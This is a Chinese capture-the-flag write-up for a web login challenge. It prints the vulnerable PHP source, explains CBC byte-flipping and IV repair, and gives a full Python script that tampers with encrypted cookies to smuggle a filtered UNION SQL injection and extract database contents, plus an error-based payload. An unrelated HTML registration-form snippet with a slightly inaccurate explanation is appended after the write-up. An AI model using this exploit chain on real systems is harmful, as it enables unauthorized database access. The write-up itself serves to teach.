php用户注册登录实验总结,实验吧web-简单的登录题

该wp学习自Pcat大佬在实验吧的wp

题目地址:http://ctf5.shiyanbar.com/web/jiandan/index.php

随便提交一个id,看到后台set了两个cookie

c3ef7da8f8d7?tdsourcetag=s_pcqq_aiomsg

iv和cipher这两个数据每次刷新都会发生变化,应该是每次刷新的时候,后台重新随机生成了一个iv,并用来加密某个数据,可能是我们提交的id,然后将密文cipher存入cookie中。

iv和cipher在翻译过来就是Initialization Vector(初始化向量)和密文,这两个东西好像也经常在CBC翻转的题目里出现。在看到这两个数据的时候,我觉得这道题应该是一道CBC翻转的题目吧。

然后呢?如果是CBC翻转这种接近于密码的题目,没有源码不知道后台做了什么处理的话,那就有点无从下手的感觉了。这个时候,就是扫描器登场的时候了,我们可以用御剑简单地扫描一下。

c3ef7da8f8d7?tdsourcetag=s_pcqq_aiomsg

后面两条结果忽略掉,conn明显是数据库连接的php,index.php则是我们访问的php,那么test.php里面会有什么呢?我们访问一下

c3ef7da8f8d7?tdsourcetag=s_pcqq_aiomsg

如愿以偿地得到了index.php的源码,变得好看一点,大致源码如下

define("SECRET_KEY", '***********');

define("METHOD", "aes-128-cbc");

error_reporting(0);

include('conn.php');

function sqliCheck($str){

if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){

return 1;

} return 0;

}

function get_random_iv(){

$random_iv='';

for($i=0;$i<16;$i++){

$random_iv.=chr(rand(1,255));

}

return $random_iv;

}

function login($info){

$iv = get_random_iv();

$plain = serialize($info);

$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);

setcookie("iv", base64_encode($iv));

setcookie("cipher", base64_encode($cipher));

} function show_homepage(){

global $link;

if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){

$cipher = base64_decode($_COOKIE['cipher']);

$iv = base64_decode($_COOKIE["iv"]);

if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){

$info = unserialize($plain) or die("base64_decode('".base64_encode($plain)."') can't unserialize");

$sql="select * from users limit ".$info['id'].",0";

$result=mysqli_query($link,$sql);

if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){

$rows=mysqli_fetch_array($result);

echo 'Hello!'.$rows['username'].'';

} else{

echo 'Hello!';

}

}else{

die("ERROR!");

}

}

}

if(isset($_POST['id'])){

$id = (string)$_POST['id'];

if(sqliCheck($id)) die("sql inject detected!");

$info = array('id'=>$id);

login($info);

echo 'Hello!';

}else{

if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){

show_homepage();

}else{ echo 'Login Forminput id to loginidLogin';

}

}

分析一下,有这么几点:

1.传递的id中有一些会被吃掉的关键词

2.id的值会被存入一个数组中序列化,然后加密该序列化字符串,并将该cipher base64编码后与base64编码的iv存入cookie

3.如果不传递id,就会从cookie中取出iv和cipher进行解码解密,然后拼接SQL语句进行查询,而这个SQL语句比较奇特,我们传递的数据被拼接在了limit的后面,而在SQL语句中,limit的后面只剩下procedure、into和for update了,而procedure也被吃掉了,看来不是一般的SQL注入了

4.在执行SQL语句前并不会再次吃掉敏感关键词

结合之前的猜测,那么这道题就很明显了,考点是CBC字节翻转攻击+SQL注入攻击

CBC字节翻转攻击:http://www.vuln.cn/6109

具体的思路就是:

1.提交id的时候替换被吃掉的关键词,比如union的其中一个字母

2.从cookie中获取到iv和cipher之后,进行CBC翻转攻击,使得修改之后,后台解密会将密文变成我们所希望得到的样子

3.SQL注入的时候,用;%00代替#这些单行注释符,用join代替,来确定回显位置,将数据select到回显位置上

CBC翻转的时候,尽量少翻转字符,因为越多的翻转可能会导致你需要对cipher或者iv做更多的处理,所以我们只使用union这个被吃掉的关键词就好了,其他的关键词可以绕过

先写一个php脚本,为了方便直观地看到所要翻转的地方的偏移量是多少,借Pcat大佬的例子

c3ef7da8f8d7?tdsourcetag=s_pcqq_aiomsg

此时的偏移量(offset)为4,也就是说,如果我们要将 第2块第5个字符2 翻转为我们所需要的字符#,由于CBC模式的解密方式是:

该块的明文 = decrypt(该块的密文) ^(异或) 前一块密文

如果是第一块:第一块的明文 = decrypt(第一块的密文) ^ iv

CBC解密分为两段:decrypt和^

所以,我们需要对 第1块第5个字符 做一些修改

由于:

第2块密文第5个字符的明文(C) = 第1块密文第5个字符(A) ^ decrypt(第2块密文第5个字符的密文)(B)

而^有运算为:C = A ^ B,A = C ^ B,0 ^ A = A,而我们已知CBC解密后C(这里为2)和密文中A的值cipher_row[offset(偏移量)]

故:

B = A ^ C

而后台CBC解密所得则为:A ^ B

所以我们控制修改A2 = A ^ C ^ D(我们想要的,这里为#)

即脚本里的cipher_row[offset] =chr(ord(cipher_row[offset]) ^ord("2") ^ord("#"))

这样运算下来,则后台CBC解密得到:A2 ^ B = A ^ C ^ D ^ A ^C ,即D,CBC翻转成功

但是还没有结束,因为我们在翻转第二块的时候,修改了第一块的密文,所以如果用同一个iv去解密第一块密文,是无法反序列化的,因此我们需要对iv进行一些修改。

(如果我们为了翻转第三块,而修改了第二块,那我们又需要为了让第二块解密后反序列化成功修改第一块,最后又要修改iv,处理量一下子就多了起来)

修改iv的时候,我们已知:原iv,用原iv解密后的错误明文,第一块密文,以及正确明文(即a:1:{s:2:\"id\";s:)

而:

错误明文 = 原iv ^ 第一块密文 => 第一块密文 = 错误明文 ^ 原iv

正确明文 = 新iv ^ 第一块密文 => 新iv = 正确明文 ^ 第一块密文

故:

新iv = 原iv ^ 错误明文 ^ 正确明文

即脚本里的iv_new = iv_new +chr(ord(iv_row[x]) ^ord(wrong[x]) ^ord(plaintext[x])),循环16次

原理讲完了,接下来就是脚本了脚本如下

# -*- coding:utf8 -*-

import base64

import requests

import re

import urllib

url ="http://ctf5.shiyanbar.com/web/jiandan/index.php"

payload ="0 2nion select * from ((select 1)a join (select database())b join (select 3)c);"+chr(0)

data = {

'id':payload

}

cookie = requests.post(url,data = data).headers['Set-Cookie']

iv = re.findall(r'iv=(.+),',cookie)[0]

cipher = base64.b64decode(urllib.unquote(re.findall(r'cipher=(.+)',cookie)[0]))

iv_row =list(base64.b64decode(urllib.unquote(iv)))

cipher_row =list(cipher)

offset =6

cipher_row[offset] =chr(ord(cipher_row[offset]) ^ord("2") ^ord("u"))

cipher_new = urllib.quote(base64.b64encode("".join(cipher_row)))

cookies = {

"iv" : iv,

"cipher" : cipher_new

}

mistake = requests.get(url,cookies = cookies).content

wrong = base64.b64decode(re.findall(r'\(\'(.+)\'\)',mistake)[0])

iv_new =''

plaintext ="a:1:{s:2:\"id\";s:"

for xin range(16):

iv_new = iv_new +chr(ord(iv_row[x]) ^ord(wrong[x]) ^ord(plaintext[x]))

iv_new = urllib.quote(base64.b64encode(iv_new))

cookies2 = {

"iv" : iv_new,

"cipher" : cipher_new

}

result = requests.get(url,cookies = cookies2).content

print result

运行得到数据库名

c3ef7da8f8d7?tdsourcetag=s_pcqq_aiomsg

修改payload和offset的值,最后getflag

最后提一句的是:select * from ??? limit 1 union select ???这种写法在mysql5.7里面已经不能用了,会报错incorrect usage of union and limit,要使用(select * from ??? limit 1) union (select ???)这种写法,官方在5.7文档是这么说的

c3ef7da8f8d7?tdsourcetag=s_pcqq_aiomsg

c3ef7da8f8d7?tdsourcetag=s_pcqq_aiomsg

PS:

发现最近这题好像出了点问题,在select列的时候会报Got error 28 from storage engine的错误,就获取不到列名了

不过列名可以通过报错的方式爆出来,payload

"0 2nion select * from (select * from you_want as a join you_want) as c;"+chr(0)

结果:

c3ef7da8f8d7?tdsourcetag=s_pcqq_aiomsg

the end

作者水平有限 如有错误请指出 Orz

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
以下是一个简单的注册表单的HTML代码示例,包含了用户名、密码、确认密码、电子邮件和提交按钮: ```html <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>注册表单</title> </head> <body> <h1>注册</h1> <form action="register.php" method="post"> <label for="username">用户名:</label> <input type="text" id="username" name="username" required><br><br> <label for="password">密码:</label> <input type="password" id="password" name="password" required><br><br> <label for="confirm_password">确认密码:</label> <input type="password" id="confirm_password" name="confirm_password" required><br><br> <label for="email">电子邮件:</label> <input type="email" id="email" name="email" required><br><br> <input type="submit" value="提交"> </form> </body> </html> ``` 在这个示例中,`form` 元素的 `action` 属性指定了表单数据将被提交到的服务器端脚本的URL(在这里是 `register.php`),而 `method` 属性指定了提交表单的HTTP方法(在这里是 `POST`)。每个表单域都有一个 `name` 属性和一个对应的 `label` 元素,它们一起跟踪表单中的数据。`required` 属性指定了该表单域是必填项,如果用户没有填写该项,提交按钮将不可用。 当用户单击提交按钮时,表单数据将被提交到 `register.php` 脚本。你需要使用PHP或其他服务器端语言来处理该请求,并将表单数据保存到数据库或其他持久化存储中。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值